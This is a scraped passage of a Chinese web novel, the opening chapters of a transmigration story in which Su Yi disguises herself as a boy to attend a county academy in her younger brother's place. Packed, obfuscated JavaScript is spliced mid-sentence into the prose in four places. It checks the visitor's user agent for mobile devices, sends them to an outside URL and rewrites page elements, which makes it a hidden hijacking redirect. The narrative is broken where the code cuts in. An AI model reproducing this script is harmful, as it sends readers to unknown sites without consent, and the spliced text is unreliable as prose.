《成为科举文男配长姐后》 1. 001 连着三日的阴雨过后,酷热许久的天气终于有了几分入秋之后应有的凉意。 一方暖阳静静地投在书案之上,伴着伏在案上写写画画的少女,从晨光熹微算至天光大亮。 直至巳时过后,苏宜才搁下手中算笔,稍稍活动了一下僵直的脖子。 今年开春以来家中进项还算不错,预计到明年就可以尽数还完这几年来欠下的债务。 正当苏宜准备一鼓作气将账目理完之际,就见得祖母窦氏施施然走进来,坐在她跟前直截了当道:“宜姐儿,你午膳想用些什么?” 因着苏宜先头大哥苏浔病重吃药欠下好多债务,这一年来家中经济情况一直不佳,饭食吃什么一般取决于家中有什么现成的食材——比如母亲顺路采回的菌子,父亲客户答谢时送来的面筋,再有就是邻里礼尚往来送的青菜…… 祖母这会儿如此郑重地询问她的饮食意愿,只有一个可能。 “二弟可是今日要回来?” “是啊。”窦氏完全没有被看破心思的难堪,一门心思还扑在乖孙身上,“上个月休假回来就瘦了一圈,这会儿可不是得好好补补。” 虽然窦氏是为着孙子回来才准备做些可口的饭菜,但经过苏宜近一年来的影响,也知道在备菜问问她这个孙女想要用点什么,也算有不小进步。 “阿娘腌制的酸菜应该也好了。”苏宜直言道,“那个配鱼片最好,我想吃鱼了。” 和松乡靠水,河里的鱼虾不易存,这个时节都便宜得紧,窦氏对于苏宜的提议倒也并不排斥,但又想到孙儿这个年纪在外读书,正是长身体的年纪却在外费心劳神,也不能光吃鱼虾这些东西,还是打算去王屠户家买点鲜肉回来蒸几个大包,给孩子添点油水。 老太太有自己的想法,和苏宜说完几句话后又匆匆出门去。 苏宜一个人将账目理完后,给自己倒了杯热茶,坐在桌边对着窗户出了会儿神。 大概一年之前,她在一场车祸中穿越,到了这本前世看过的科举文中。 作为背景板的她不光和主角主线没什么关系,弟弟还是不断针对男主作死的反派团体之一。 而今的她才刚满十一,弟弟苏缜也不过九岁的年纪,距离男主盛祈安在朝中一枝独秀、苏缜因附逆连累全家还有很长一段时间。 而在接下来的时间里,马上就要发生一件全文中微不足道但是对原身至关重要的事件——上学读书。 相比于乡里的大多数父母而言,苏家夫妇在教育读书一事上较为重视,不光将儿子送去了县城最好的明德书院,也将女儿送去村头私塾跟着先生认字。 只是原文中的苏缜入学时年纪较小,家境又差,在学堂读书时一直郁郁寡欢,后来更是被几个同窗教唆利用,几次三番针对男主盛祈安,为日后家族覆灭埋下隐患。 而原身一入私塾便收获了潘先生儿子的爱慕,而后被师母针对,同学孤立,早早退学,最终连《千字文》都没能学会。 苏缜身为男子,最大的优势在于可以走正规途径参加科考,若是得以高中入朝为官,便能够改变自己和家人的命运。 这是目前来看女子所不具备的先天条件。 而看过原文大结局的苏宜知道,经过长达数十年的皇位角逐之后,最终登上帝位的正是男主盛祈安的表妹,四公主萧颐。 正是因为日后会有女皇临世,所以即便不需要走科举这条路子,作为新皇身边的女官一样会有出路。 换句话说,她走得不是公考,而是选调。 学历不管在哪个时代都是敲门砖,苏家又跟“诗书传家”四个字无半点沾边,所以她需得在简历上填上学堂一笔,最好能在参选时有一定才名,起码正经读过几年书。 这段时间时间甚至不需要太久,三年五年都可以,但却是不可或缺的一段经历。 苏缜是原文当中较为重要的反派,又生了一张祸国殃民的帅脸,作者在他身上着墨不少,还配备了独立的人物番外。 所以苏宜才得以通过番外了解到,苏缜大概就是在这个时候提出来,不想继续去学堂念书。 父亲苏隅是在当年家中遭难后带着祖母窦氏来了金陵一带,靠着木匠手艺和务农为生,母亲林茵虽是当地土著,但也只是普通人家的女儿,外祖虽在当地县学做过先生,但走得极早,家里并无什么助力。 苏家原本有子女三人,苏宜前头还有一位稍长几岁的大哥,只是三年前大病了一场,掏空家中所有积蓄求医问药但依然没有留住,还让家里欠了好些债务。 即便家中如今缓了过来,手头宽裕了一些,勉强能支撑起两个孩子一个去学堂一个念私塾,两个都去学堂基本没有可能。 而此时的苏缜正是刚入小学的年纪,有秀才功名的私塾潘先生给他启蒙绰绰有余,若是两人可以交换走一下剧情,她虽然不保证能去书院读得多好,但肯定比弟弟硬杠男主角赔上全家要强得多。 因着苏缜的归来,这晚用饭苏家人意外的准时且齐全。 正当苏父帮着妻子端碗布菜之际,窦氏出声对着儿子问道:“今年秋收之事你可有了主意?是你自己回来把秋粮收了,还是再想法子找人帮上一把?” 这事毕竟关系到一家人明年的吃喝,还没等苏父说话,苏缜就抢先接话道,“爹这两年在外上工忙碌,我去就好。” 窦氏白了孙儿一眼:“家里这么多闲人,哪儿就能用到你?再说了,这农活起码要十几日的功夫,你就那三天两日的假,哪里能耽搁得起。” 一听这话,苏缜登时低下头来,半晌后才闷声道:“我不去了。” 窦氏一时愣住:“不去什么?” “不去……学堂了。” 除了看过人物番外篇的苏宜外,屋中的其他人都异口同声:“为何?” “不为什么……”苏缜不知想到了什么,语调中尽是说不出的烦躁与不安,“我就是不去了,你们想去的话自己去好了!” 说罢,也不等几位长辈追问,赌气一般地拿了两块烙饼和一碟酱菜回房,重重关上了门。 苏父气得直骂“逆子”,苏母则开始哭着怀念起了大儿子。 “要是浔儿还在的话,我也就不指望你了,去个学堂都这般不安宁,叫我说什么好。” 苏家有个据说读书识字样样都强的大哥,只是一样,身体不好。苏宜穿越过来时苏浔便已早早过逝,但对于苏家父母来说却是白月光一般的所在,就连一双弟妹的名字也都是这位大哥所起。 窦氏毕竟年长,见得事情也多,并没有苏家夫妻这般一惊一乍,只道是小孩子在学堂不如意闹脾气,哄一哄就好了。 苏宜没有参与这场战局,只是安静吃掉祖母夹过来的肉片和鱼块。 她而今正在长身体的年纪,对于优质蛋白来者不拒。 等父母情绪平静之后,苏宜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但即便如此,对于这个会直接上手修理自己的姐姐,他多少还是有些怕,听到苏宜敲门的声音后,还是第一时间打开了房门。 他手头不宽裕,也没有叫车,硬生生靠着一双脚从县城走了回来,这会儿肚子也的确饿得厉害,对于苏宜带来的饭菜自然来者不拒。 苏宜看的直摇头:“好好的热菜不吃,非要用这些残羹冷炙。” 真是死要面子活受罪。 苏家是老房子,隔音相当一般,苏缜的房间又靠近饭厅,即便提前赌气回屋,父母和苏宜的对话依然一字不落地落在了耳中。 他低头整理好碗筷,才对着苏宜缓缓开口:“姐,你不用为了我的事情为难,替我去学堂念书。大不了我再念上半年,不叫家里亏了之前交的束脩便是。” “这有什么为难的?”苏宜故作轻松道,“不过就是上学而已,你之前留在家中的书册和文章我都看遍了,也没觉出有什么难的,我是女子,有这样的机会能去学堂长长见识本就难得,父亲前日还说打算将我送往私塾念书,你若打定主意不去学堂,咱们换换便好。” 苏缜想起学里同窗们的无端攀比,授课先生戴先生的阴阳怪气,县丞小舅子家公子想和自己“交好”不成,对自己的带头孤立……根本不该是苏宜一个女孩子该经受的东西。 对上苏宜澄澈的目光,苏缜有些艰难叹气道:“姐,我劝你还是不要去。毕竟明德书院那个地方……还是太复杂了。” 2. 002 看苏缜神情就知道,他这些日所遭受的事情比他们想象中要糟糕得多。 苏宜眼色一黯,调转话题道:“私塾潘先生早先年也取得了秀才功名,只是为人清高,生性要强,在书院里受了其他先生排挤后,不愿再去外头学堂教书,才留在乡里做了私塾先生。旁的不说,教你两年考个县试也尽够了。” 和文中其他的几位学神学霸相比,苏缜在科考一事上并无多少天分,即便家人已经努力创造了最好的条件,他自己也是寒窗苦读十几年,依然在通过院试之后便止步不前,后来做了荣王门客后,更是将科考入朝一事抛诸脑后。 苏缜虽然配合地点头应着,眉间仍是透了几分深深的忧虑出来。 苏宜见不得不到十岁的小孩这么一副心事重重的样子,她抬手揉了揉他额前毛茸茸的碎发,缓声安慰道:“爹娘不是不通情理之人,没准过两日便能转圜心意,你且放宽心便是。” 苏宜从书房出来,经过隔壁卧房时见得大门紧闭,隐隐听到苏家夫妻两人几句低声私语,一看就是在商讨些什么。 她的提议的确有些超出他们二人最初的设定,他们想要多做商讨谨慎决定也属正常。 苏宜原也没想要一蹴而就,即便他们这会儿不同意也没关系,毕竟而今苏家的经济情况的确算不上乐观。等再过些时日,家里宽裕一些,总能有法子去学堂读书。 而距离男主盛祈安来金陵读书还要两年时间,事态还不算紧急,可以慢慢来。 卧房内,苏父关起门来对妻子道:“原想着缜儿去学堂能借一借他大哥的光,和先生们搞好关系,却不成想这孩子竟是这般不争气,遇上点不如意的事情就呼天抢地,吵嚷着不去上学……他当这个学是给谁上的?” 想起早亡的大儿子苏浔,林茵也有一瞬间的失神。虽然她也希望苏缜能像他兄长一样优秀上进,日后出人头地,却也不敢再逼他太多,坏了身子,最终又是跟长子一样,竹篮打水一场空。 眼看着丈夫还在等着自己回话,她幽幽叹气道:“小缜这会儿就是铁了心的不去,咱们有能什么办法?学堂远在县里,你还能日日去学堂外盯着人读书不成?” 林茵的父亲早先年曾在县学教书过,也算是当地有文化的先生,却总说女孩子读书无用,从来不许几个女儿跟着习字念书,面对着苏宜想要去学堂读书的请求,林茵此时蓦地生出来几分补偿心理,不知是补偿前些年没机会念书的苏宜,还是补偿少时没能读书的自己。 她话锋一转,道:“倒是小宜,看着是个有主意的,不论日后学得如何,有这份心气儿的确不易。我看小缜那样子,大抵是真心不想去了,要不……就让小宜试试?” 苏隅皱眉道:“她一个女孩儿,打小没出过门,也没见过什么世面,只觉得读书容易,等她真去了学堂,知道了求学不易,没准几日就回来了。” 眼见妻子脸色沉了下来,苏隅忙改口道:“不过你说得对,宜儿有这想法难得,不该折了她这份心气儿,既如此,那就先应了她便是。” 苏家过来上元县之时,多少也有些家底,房子盖得还算不错,家里统共有三间卧房可供使用。 苏缜这两年在外求学,他们兄弟两人之前那间卧房便被苏母拨给了苏宜,苏缜回来之后只能在被用作书房的小北间休息。 第二日苏宜晨起出门之时,就见得苏缜从书房走了出来,后面跟着面无表情的母亲林茵,显然今日早上二人的谈话算不得愉快。 林茵一见到苏宜就道:“我跟小缜都说好了,这半年你先去学堂。” 顿了顿,她又补充道:“要是在那边不适应就回来,也别为了家里太勉强自己。” 苏宜不知道她和苏隅二人如何夜谈,但这个结果的确顺利得有些超乎预期。 事情到了这里也算告一段落,林茵再开口时声音也轻快了几分:“早膳我做好了,去叫你阿婆过来吃饭。” 看着大清早被批评后耷拉着脑袋已是死人微活状态的苏缜,苏宜主动起身承担这个任务:“我去把阿婆叫来。” 这年头的人结婚生子都早,窦氏虽说已当了祖母,但只有四十几岁的年纪。 窦氏虽然为人固执嘴上不饶人但手脚麻利,尤其是在林茵这一年来所做绣品卖上价格后,更是帮着承担了大部分的家务和活计,也算是充分整合家中人力资源,在现有的条件下努力让一家五口过上好日子。 只是今日的祖母实在有些反常,辰时过半依然没有起身出门,苏宜推门进去时,见她正倚在床头一脸不忿,就知道苏隅夫妻两个大概一早把决定告诉了她。 跟这乡里其他做了婆母的妇人相比,窦氏还算做得不错,不会在多年媳妇熬成婆后,就把支使儿媳干活当成理所应当。 但作为一个在封建时代生活了大半辈子的乡间妇女,她的思维仍有一定局限,连带一些根深蒂固的思想作祟,认为孙子有出息苏家才有未来,进而把所有希望寄托在苏缜身上,对苏宜这个孙女总是差着几分。 苏宜倒也不恼。 毕竟窦氏虽然在吃饭穿衣这些小事上大都时候向着孙子,但在关键时候却没掉过链子。 一次是原主五岁时和松乡地震,窦氏睡得轻,第一个醒来,想都不想就将睡在门边的苏宜带了出去,才抽身回来抱苏缜出门;还有后来一家人赶路进京遇到匪徒之时,窦氏也是先拉着身体不好的原主逃难,连苏缜都没来得及管。 后来苏缜在朝中站队错误,被宁王牵连抄家后,窦氏将仅剩的一点银子都拿来给原身做了嫁妆,并没有给孙儿苏缜添补。 综上所述,窦氏大事上还知道一碗水端平,甚至会更向着弱者,并不糊涂,所以这些无伤大雅的小事,苏宜都一直睁只眼闭只眼,只要生活还能过得去,并不同她较真。 窦氏抬眼打量着这个刚过十岁的孙女。 自打去年落水被救回之后,大姐儿就跟变了个人似的,伶俐得不像话。 先是提出爹爹木匠手艺做得好,只是大半时间要用于种地没时间出去帮工,便建议他去城里接活的同时,将家里田地低价租给村里最缺粮的大有家来种,不光让家里的进项翻了一番,还收获了乡亲们一致好评,都说苏家人厚道,见不得大有家三个小子没有粮吃,才愿意施此援手。 省了一半租金的林家人更是时不时的帮衬苏家耕种,出门逢人见客都道苏家人好。 后来苏宜看母亲林茵针线功夫好,绣活做得精细,叮嘱苏缜跟着先生前往金陵城游学之时,去书肆买了时新绣册带了回来,又在隔壁大有出门时,托他将新做的绣品带去各地成衣铺子比价售卖,足足翻了两倍的价钱。 窦氏也不得不承认,苏宜的主意确给家里带来了一定财运,如果真像之前夫妻二人规划的那样,送她去私塾念书,多认识几个字,日后找个好人家,凭着她这头脑日子准过不差,但要去城里学堂念书这事……那就出格了。 毕竟这十里八乡可从来没有女娃去学堂念书的先例。 苏宜看窦氏神情便知她如今心中思绪也是千回百转,好在这一年来已经深知对方脾性,想要拿捏这个祖母并不是难事。 苏宜刚要开口叫人之时,就听得母亲和外头客人说话声音传来,窦氏更是在听清之后脸色一沉:“她又来做什么?” “奚家阿婆来了。”苏宜探头看了一眼,缓声道,“阿婆前儿过来说是纳鞋底没线了,跟借了阿娘两股麻线,今儿大概是过来还的。” 窦氏冷哼一声,不情不愿起身迎客。 苏家母子大概是十五年前搬来和松乡的,窦氏在这其中大概有十四年都跟奚家阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472551|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆不对盘。 窦家祖籍直隶,祖辈往上数三代颇有家资,窦老太太也总觉得到底是皇城根下长大的,高人一等,说话做事不免总带出来。 偏偏这奚家虽然这些年没落了,祖上却也是阔过的,从前光在这和松乡就有一百亩水田,也自诩大户人家,看不惯窦氏这般做作显摆的做派。 即便两人如今都是“落地的凤凰”,日子过得半斤八两,但每次碰上了总要用言语分个高下。 这个时候奚家阿婆过来,苏宜只觉真是老天都在帮她。她跟在窦氏身后低声道:“这年头读书本就不易,隔壁镇上那个之前中榜的那个姓许的廪生,前些日读书读得人都恍惚,拿了菜刀去学堂,叫嚣着要给之前欺辱自己的人一点颜色瞧瞧,后来是被衙役捆着扭送回来的。” “二弟年纪小,又是一个人在县里求学,想来也是顶着诸多压力,日后的路还长着,勤学苦读不差这几日,休上一年半载养好身子再入学读书也未尝不可。” 之前年纪轻轻就溘然长逝的大孙子也同样是窦氏的心病,一听这话不免动容。 苏宜又道:“您不是说吗,以前京城那些大户人家跟我们不一样,咱们把钱花在刀刃上,人家可是把钱花在刀背上,您前好歹是从前在直隶长成的人,跟他们可都不一样。” 窦老太太在精神上一直自诩贵族之后,苏宜这几句话让她着实很是受用。 紧接着,她又听得苏宜道:“您从前也总跟我说,京里头大户人家闺女是娇客,养得可比哥儿们可精心多了,那些好的闺学的谢师礼可是比哥儿们去学堂的束脩高上几倍不止。若我和小缜都能学出来有个不错的前程,您日后便是老封君一般的人物,您这些年顾着小缜也疼惜我,跟奚家阿婆她们那些只注重香火,紧着男人吃喝的长辈可不一样。” 苏宜这话无异于一道惊雷劈开了窦氏的思绪。 从前她就觉得奚家媳妇肤浅,没见识,不想和她们一样流于世俗,但苦于没有能在某个方面层级大大高出他们的地方。 苏宜这番话给她提供了新的思路。 家里条件有限,其他的或许做不好也做不到,但是同样的钱,分配给孙女多一些却是一件容易的事。 窦氏当即换了脸色,道:“我和你阿爹不过是看外头艰难,怕你去学里吃苦受罪,既然你决心已定,那便去罢。” 说话间奚家阿婆走了进来,冲着窦氏道:“小缜回来了,今儿你们家里倒是热闹。” 苏隅招呼她坐下来:“今儿无事,家里头起得晚,这会子正要用饭,婶子正好坐下来一起用一些。” 奚阿婆连连摆手道:“我是来还你媳妇针线的,在家都吃过了,你们吃你们的,别让我耽搁了,弄得吃个早饭也不安生。” 都是乡里乡亲的熟人,平常饭点去旁人家里也是常有的事,苏隅不再客气退让,先请窦氏入座用饭。 见窦氏一上来便将最稠的米油和红枣都给了苏宜,又往她碗里一连添了两个鸡蛋,奚家阿婆惊讶得睁大了双眼。 这窦阿婆以前也是最看重孙子的,今儿怎么就转性了? “你家哥儿难得回来一趟,这小身板瘦得一阵风就能吹倒,孩子好容易回来一趟,老姐姐你不说给他可劲儿补补,还光紧着你家姑娘。” 短短一个早晨,窦氏就在新人设上找到了优越感和舒适区,一听这话当即来了精神。 “我们祖上以前好歹是皇城根下住过的,也见过内城那些贵人们家里的派头,家里头待姑娘都是极好的。而今我们苏家虽说不比从前,但家里姐儿却从不亏着,都是要拿来当娇客的,跟寻常人家里且不一样呢。” 奚阿婆:…… 不过平白说句闲话罢了,这窦氏却上来抬高自己的同时打翻了一船人。 真是显着你了。 3. 003 统一思想过后,苏家人的办事效率也跟着高了起来。 原本就算不得长的休假而今已经过了三分之一,只余了两日的时间就要开学,给苏宜做入学准备的事情即刻便提上了日程。 窦氏开始给大家分工:苏隅提前一步去城里学堂,给两个孩子办交接手续,林茵和苏缜帮着苏宜收拾行李,自己则去找潘先生家媳妇问问情况,过几日给苏缜私塾报名。 明德书院是附近几个县里最好的学堂,规矩也多,即便父母已经答应换人,苏缜仍是有些担忧,生怕此事不成。 苏宜看出了他的顾虑,抬手拍了拍他肩膀,轻声安慰道:“学堂那边不会有事,你不用担心。” 虽然送孩子去读书科考的出发点是好的,但几乎每年都有家中变故或者经济原因中途退学的学生,只是学费都是提前一年缴纳,所以课上一半中途将名额转手的学生也不在少数。 甚至苏缜第一年上课的名额就是别人转手的,还为了快些转手出去,贴心打了个八折。 考虑到女孩子在外不安全,加上没听说过有女子在明德学堂读书的先例,林茵还是建议苏宜女扮男装去上课,可以减少大半不必要的麻烦。 林茵忙着给苏宜裁衣裳,苏缜则帮苏宜收拾书包和学习用品。 家里的意思还是认为苏缜是苏家唯一的男孩,学业不能荒废,让他接下来去潘家私塾继续读书,学习用品还要带到私塾去,不能留给苏宜,窦氏便拨了一百文给姐弟两个,让他们去附近的镇上买一些上学要用到的基础文具回来。 这一年来林茵手里宽裕的时候,也时不时会给苏宜一点零花,苏宜手上也有些私房款。 临到出门之际,苏缜陪着苏宜回房间取钱,抬眼瞥见苏宜账册上的字,眼睛里闪过一丝惊艳。 “姐,你这字……是怎么写出来的?” 苏宜穿越过来这一年的时间一直在积极练字,做足铺垫,奈何家里几位长辈都不识字,更对书法没什么研究,第一个发现她写字好看的人反而是不足十岁的弟弟苏缜。 前世爸爸去世后,她隐忍十年,多方布局,最终斗倒二叔三叔和几个姑姑,将父母一手创立的企业牢牢掌握在了自己和妹妹的手中。 备受打压修身养性的十几年里,她也没少学一些课外的东西,反正苏家不缺钱,找的都是最好的老师,她在写字一事上又十分有天赋,书法即便拿到古代也是相当能看。 为了掩人耳目,她落在纸上的字已是收着写了,最多也不过是三成功力,却让苏缜看直了眼。 苏宜一早准备好的措辞派上了用场:“就是你之前拿来的字帖练的。” 苏缜闻言再次叹气:“姐,或许你说得对,你的确……是有天分的。” 和松乡位于上元县边缘,一来一回要一整日的时间,苏缜便带苏宜过来距离乡里相对较近的淳化镇购买文具。 金陵自古繁华,虽然淳化只是个镇级单位,但也颇具规模,比起其他州县中心地带也不遑多让。 苏家条件并不宽裕,当初苏缜入学时,窦氏也是带着他货比三家,转遍整个镇上之后才买回了一整套学习用品。 苏缜也和上次一样,带着苏宜兜兜转转,最终在市集的东边买了笔,西边买了墨,又在回村路上的一家书肆买了书本。 苏宜莞尔,虽然只是去县城读书,从国计民生的宏观角度来看算不得什么大事,却干出了一种木兰出征前“东市买骏马,西市买鞍鞯,南市买辔头,北市买长鞭”的即视感。【1】 等两人回到家中时天已经擦黑,苏缜帮姐姐整理好文具后,又从怀中取了一本小册子出来。 苏宜打开一看,见是苏缜不知什么时候写的册子,里面字迹稍显潦草,却不影响阅读,记着学堂作息时间课程安排和场馆分布情况,可以看做是简要版的入学手册。 介绍过学校情况之后,就是对于班里老师同学的个人情况记录,并着重标记了那几个班级中的纨绔子弟,建议苏宜离他们远些。 苏宜发现,苏缜给她写的册子竟然和原文中作者描写大差不差,措辞生动,重点突出,是个人才。 年仅九岁的孩子能有这样的观察力的确不易,日后应该能把都察院的监察类差事做得极好,只可惜苏缜科考方面天赋实在平平,原文当中一直没能考过秋闱,连举人都不中,更别提入朝为官。 第二日一早,父亲苏隅便从城中赶了回来,将一枚崭新的校牌交给苏宜:“都办妥了,宜儿明日入学念书便是。” 窦氏也跟着道:“私塾那边听说小缜要回来读书,很是乐得让他去。昨儿临到我出门时,那潘先生家哥儿还一直送出来,想来也是和善人家。” 苏宜想起文中潘家母子对原身的所作所为,沉默着没再言语。 不过话说回来,那位潘太太一心盼着儿子高中,求娶金陵贵女,所以一直防着周围人家的姑娘,对于一切可能扰乱儿子联姻的和松乡适龄女子避如蛇蝎,却对于私塾当中大多数男同学都和颜悦色,对于苏缜想来起码能够做到公平对待。 说话间,隔壁林家大郎林有春提了一袋新收的核桃到家里来访。 眼见着晚膳又有了新的食材,窦氏对这个高挑少年笑得格外慈爱:“前儿遇上你娘我还跟她说,乡里乡亲不用这般客气,有了什么东西可别总往我们家里捣腾,她倒好,半点劝也不听,叫我们怎么过意得去。” 林有春今年刚满十五岁,浓眉大眼,身形颀长,苏宜第一次见他还是刚刚穿越之时,走投无路的他过来苏家借钱。 当时苏宜见他的第一眼便觉得十分扎眼,放前世娱乐圈是可以成团出道的级别,心中不由暗自感慨,果然是原文当中重要男配的家乡,人杰地灵,乡亲中也有这般颜值的人物。 林有春对着窦氏温和地笑笑:“阿婆您也太客气了,当年若不是您和大伯帮着家里,没准三弟都要卖出去换了粮食。今年小二小三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在苏家父母的认知里,苏宜说自己想要去学堂读书,有了学识之后努力嫁得更好,带他们过上好日子,是积极改变命运的上进好女儿,尤其在苏缜的对比下,越发明显。 大概有了不一样的情感寄托,二人看她的眼神都有些不一样。 临到苏宜出门之前,苏缜快步走上来,垂着头对她小声说,“姐,对不起。” 苏宜摸了摸他毛茸茸的脑袋:“没事。” 只要苏缜能好好的别招惹男主连累全家,就是对这个家里最大的贡献。 母亲林茵眼里已经隐隐有了泪光,握着苏宜的手郑重道:“好孩子,辛苦你了。” 窦氏在她的肩上拍了两下,难得感性道:“要是你真把书读出来,找个好人家,让咱家能过上你曾祖还在时那样的日子,我和你爹娘这一生也不枉了。” 苏宜点头一一应下,接过母亲手中的包袱,启程踏上去往县城的路。 4. 004 明德书院建校已是百年有余,由周文帝的先生大儒宋源一手创办,学校选址在他的故乡,也是致仕后一直生活的地方,金陵上元县。 明德书院建立之初只是一个相对普通的地方学院,却在后来宋源的学生三皇子登临帝位后水涨船高,规模不断扩大,又因早先年出过两位榜眼和一个探花而声名大噪,隐隐有了压过金陵府官学的趋势。 苏宜踏着层层青石板阶一路上去,“明德书院”四个大字笔力遒劲,在朝阳掩映下熠熠生辉。 苏宜靠着手册指引和不断问路,两刻钟的时间过后才找到了报道先生的书房。 今日接待她的是苏缜之前班里的教习老师,相当于后世的班主任职位。 这位年轻先生姓李,单名一个“笙”字,一张标准的娃娃脸,岁数不会超过大学毕业的年纪,此时正在桌前摇头晃脑的备课,眼睛里有种这个年纪少见的清澈。 苏宜走过来,冲着李先生问好之后,又做了一番简单的自我介绍。 李笙“哦”了一声,道:“黎先生都同我说了,苏缜退学后把位置给了你,你正好也是姓苏,是不是一家子亲戚? “算是吧。” “好,我先带你去课堂。”李笙道,“你就先坐苏缜的位子。” 从教职工办公区到教学区还有一段距离,去往教室的路上,李笙有一搭没一搭的同她闲聊:“你和苏缜乍一看不像,细细端详起来,却又像了七八分,说是亲戚果然不错。” 苏缜是原文当中长相最佳的男子之一,小小年纪便已是姿容出众,而苏宜比起苏缜容色更胜一筹,即便是女扮男装过来学堂也很难不引人注意。 好在她前世私人化妆师手艺绝佳,舞台妆仿妆都信手拈来,几年相处下来,苏宜也练就了一手不错的化妆技术。 这个年纪的女生尚未出现第二性征,声线也和男童相仿,正是男扮女装最好的时候,苏宜过来学校之前又在肤色和五官上做了简单调整,省得再像苏缜一般引人瞩目。 被李笙带去教室之后,苏宜发现弟弟原来坐的位置的确很是一般,别说而今还要比她矮上班头的苏缜,即便是她坐在这里也不能保证可以看清讲台上的先生。 大概是她看到座位的眼神有些犀利,站在一旁的李笙也没由来的怯了一下,下意识解释道:“我是月初刚来书院教书的,苏缜的位子……是之前戴先生安排,你若是觉得位子不妥,日后还可以再调。” 说罢,也不等苏宜回复,便逃也似的离开了。 苏宜记得苏缜在册子上面曾经提到,这位李笙老师为人有些腼腆,但是个实在的好人,只可惜考了两届举人一直没中。 李笙的父亲一直认同“学然后知不足,教然后知困。知不足,然后能自反也;知困,然后能自强也”这种说法,以“教学相长”为由求了院长让李笙过来教书,没准哪天开窍进步了就能考过秋闱。【1】 后面苏缜又注明,但有同学私下八卦时说过,李父要去泸州照顾生病的祖父,怕他一人留在金陵学坏,所以找院长给他安排了这个职位,说是入职教书,其实是让学院帮家里盯着孩子,能每天过来按时上班打卡,再贪玩也坏不到哪里去。 苏宜看他年纪最多也就二十二三岁,两届秋闱考下来最多六年,最少也要四年,也就是说,李笙十几岁的年纪就考出来了秀才,有这样的真才实学教教这些县试都没过的小孩子绰绰有余,只是太过年轻难免压不住场子。 相比于周围有执念科考做官的学生而言,苏宜只是想更好的了解这个世界,没有硬性老师任务,目的更加单纯,再加上又是成熟的现代灵魂,上课也没有太多压力,学得相对轻松。 今太难上午教授诗文的况先生喜欢侃大山,正经课没讲几句,几个同学坐在下头窃窃私语,这些不过都是先生的个人见解,县试府试都不会考,又白白浪费一天时间。 苏宜对此倒是并不排斥,奋笔疾书写了好些笔记。 一天课程即将结束,豪不夸张的说,她这一天接受的知识量比在家小半年获取得都多。 不在书院住宿可以便宜三成的学费,苏缜当初为了家里省钱,选择了不在书院住宿,晚上去城中的姨妈家休息。 苏宜也是一样。 姨妈住处距离书院并不算近,要走整整一个小时才能抵达,这也是苏缜感觉上学心累的原因之一。 看待问题的角度不一样,接受程度就不一样,这对苏缜来说是负担,对苏宜来说却是利大于弊。 毕竟她这会儿还是女扮男装,宿在学院多有不便,去姨妈家休息就能省去很多麻烦。 结果还不等先生宣布下课放学,就又起事端。 只见一个遍身绫罗一脸凶相的夫人闯进教室,一阵儿东张西望,似乎在找什么人。 正在前头讲解《春秋》的李笙皱眉:“夫人,书院这会儿都在授课,闲杂人等禁止入内。” 那妇人无视他不满的话语,扬起高傲的脖子,道:“那你知道我是谁吗?” 李笙自然不知:“夫人可是本院之中哪位学生的母亲?” “我家老爷姓贾,在衙门担任要职。” 李笙迅速盘算起来。 县令是去年考取功名的新科进士,姓陈,而这夫人看年纪已经四十有余,她口中那位担任官服要员的夫婿应该就是本县县城县丞贾儒了。 “原来是县丞夫人。”李笙敷衍地拱了拱手,“失敬。” “你知道就好。”那贾夫人说话间又往教室里走了两步,“谁是苏缜?给我出来!” 苏宜从书本中缓缓抬起头来。 上元县城这些年发展良好,又是省城金陵治下的县城,即便只是一个小小的八品县丞,依然很多人挤破头想要这个位子,原文当中就曾经提到,贾家朝中有人,夫妻两个在县里处事甚为嚣张,几届县令都要买他的面子,在处理公务时让上贾大人几分。 只不过这样的家庭对上男主自是不够看,后来盛祈安得皇帝信任作为钦差巡视金陵,便先拿贾县丞和其他两个贪墨官员开刀。 虽然贾家在原文当中篇幅不多,在官运亨通的盛祈安眼中不过是跳梁小丑般的小人物,但对于而今的苏家来说却是碾压级的所在。 贾夫人这样气势汹汹的来学堂找苏缜麻烦,肯定是跟之前学校发生的事情有关。 李笙不明所以:“夫人找他何事?” “这厮小小年纪不学好,竟然教唆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原文当中的苏缜没有退学,不幸对上了盛怒的贾夫人,贾夫人在大闹过学堂之后仍不解气,逼迫苏家父母带着苏缜上门致歉。 也正是这件事情让苏缜觉得,这世间规矩无关对错和情理,只要有了强权就能让别人低头,为所欲为。 也正因如此,苏缜后来养成了近乎偏执的慕强性格,所以即便知道宁王结党营私,荒唐无度,也依然拜在他的门下对付男主,沦为彻底的反派。 这看似是一次简单的学堂闹事,却是造就苏缜悲剧命运的开端。 